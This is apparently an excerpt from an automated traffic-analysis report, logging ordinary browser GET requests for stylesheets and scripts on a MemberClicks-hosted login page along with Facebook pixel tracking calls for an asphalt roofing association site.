Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.all.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/jqueryui.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/system-messages.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /media/system/css/modal.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /templates/system/css/general.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /2584/MCFrontEnd/style-cf.css?p279bq HTTP/1.1Host: d1azc1qln24ryf.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jmc-assets/nivo-slider-css/nivo-slider.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /jmc-assets/nivo-slider-css/nivo-themes/mc01/mc01.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /jmc-assets/nivo-slider-css/nivo-themes/mc02/mc02.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /templates/buckhead-jt/css/editor.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/js/jquery-migrate.min.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/js/jquery-ui-custom-elvn-fr.min.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2F&rl=&if=false&ts=1713884037981&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884037112&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2F&rl=&if=false&ts=1713884037981&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884037112&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: not-navigation-source, trigger, event-sourceReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /includes/js/jQueryUIDialogInclude.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/js/jquery.dataTables.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/js/jquery.tablednd-0.5.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/js/json2.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-v2/js/libs/underscore/underscore.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2F&rl=&if=false&ts=1713884037981&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884037112&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2F&rl=&if=false&ts=1713884037981&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884037112&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /plugins/system/mtupgrade/mootools.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/js/joomla.javascript.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /plugins/system/pc_includes/ajax_1.3.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /media/system/js/modal.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /jmc-assets/global-js/hoverIntent.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.base.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.all.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.theme.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.all.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /jmc-assets/global-js/jquery.nivo.slider.pack.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.core.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.resizable.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
